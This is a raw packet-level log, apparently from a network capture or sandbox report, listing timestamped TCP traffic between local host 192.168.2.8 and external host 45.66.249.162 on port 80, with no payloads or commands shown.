Oct 11, 2024 22:32:38.317383051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317394018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317403078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317409039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317425013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317435980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317440987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317452908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317471981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317481995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317500114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317503929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317517042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317526102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317536116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317548037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317557096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317588091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317629099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317666054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317826033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317843914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317862034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317877054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317922115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317940950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317959070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.317962885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.317989111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318005085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318008900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318025112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318041086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318054914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318056107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318074942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318093061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318094015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318110943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318114996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318134069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318142891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318151951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318164110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318178892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318182945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318193913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318205118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318219900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318223953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318237066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318259954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318675041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318721056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318763018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318778038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318794012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318806887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318819046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318830013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.318839073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.318861961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319025993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319042921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319067955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319072962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319092989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319093943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319112062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319113016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319133997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319135904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319152117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319155931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319170952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319179058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319195032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319212914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319365978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319391966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319402933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319417953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319432020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319434881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319449902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319458008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319478035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319478989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319498062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319502115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319519043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319523096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319549084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319550991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319561005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319572926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319583893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319587946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319596052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319602966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319611073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.319684029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.319705009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466562033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466629028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466650009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466666937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466675043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466701031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466712952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466725111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466753006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466753006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466773987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466773987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466794968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466797113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466825008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466825962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466842890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466847897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466856003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466869116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466878891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466888905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466897011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466911077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.466914892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466950893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.466980934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467000008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467015982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467017889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467044115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467047930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467060089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467068911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467087984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467097044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467103004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467118025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467125893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467153072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467173100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467178106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467186928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467206955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467209101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467227936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467237949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467245102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467262983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467272043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467277050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467293024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467300892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467313051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467329979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467333078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467351913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467360973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467360973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467391968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467396021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467413902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467427969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467437983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467447042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467458010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467473984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467483044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467499971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467502117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467520952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467523098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467540026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467544079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467564106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467571974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467581034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467583895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467603922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467603922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467617989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467633009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467634916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467654943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467669010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467674971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467691898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467700005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467706919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467721939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467735052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467751980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467752934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467778921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467782021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467796087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467814922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467819929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467828989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467835903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467858076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467866898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467869997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467885971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467904091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467914104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467917919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467932940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467951059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467957973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467966080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.467983961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.467988968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468005896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468012094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468027115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468041897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468049049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468056917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468081951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468094110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468111038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468141079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468141079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468166113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468183041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468199015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468205929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468215942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468233109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468234062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468260050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468271017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468280077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468286991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468300104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468308926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468319893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468323946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468343019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468358994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468358994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468377113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468394995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468554974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468573093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468590021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468595982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468605995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468621016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468672991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468693018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468708992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468713045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468729973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468734026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468746901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468755007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468763113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468775034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468787909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468803883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468806028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468822002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468839884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468849897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468851089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468869925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468885899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468887091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468902111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468908072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468919992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468929052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.468940020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.468955040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469022036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469042063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469057083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469060898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469077110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469086885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469093084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469115019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469115973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469132900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469146013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469166994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469167948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469187021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469203949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469207048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469218016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469228983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469234943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469249010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469259024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469269991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.469273090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.469305038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617552042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617615938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617635012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617657900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617660999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617675066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617698908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617703915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617724895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617733002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617741108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617753029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617765903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617774963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617791891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617794037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617811918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617815971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617829084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617849112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617850065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617868900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617887020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617897987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617902040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617916107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617933035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617938042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.617944956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.617959023 CEST	80	49707	45.66.249.162	192.168.2.8
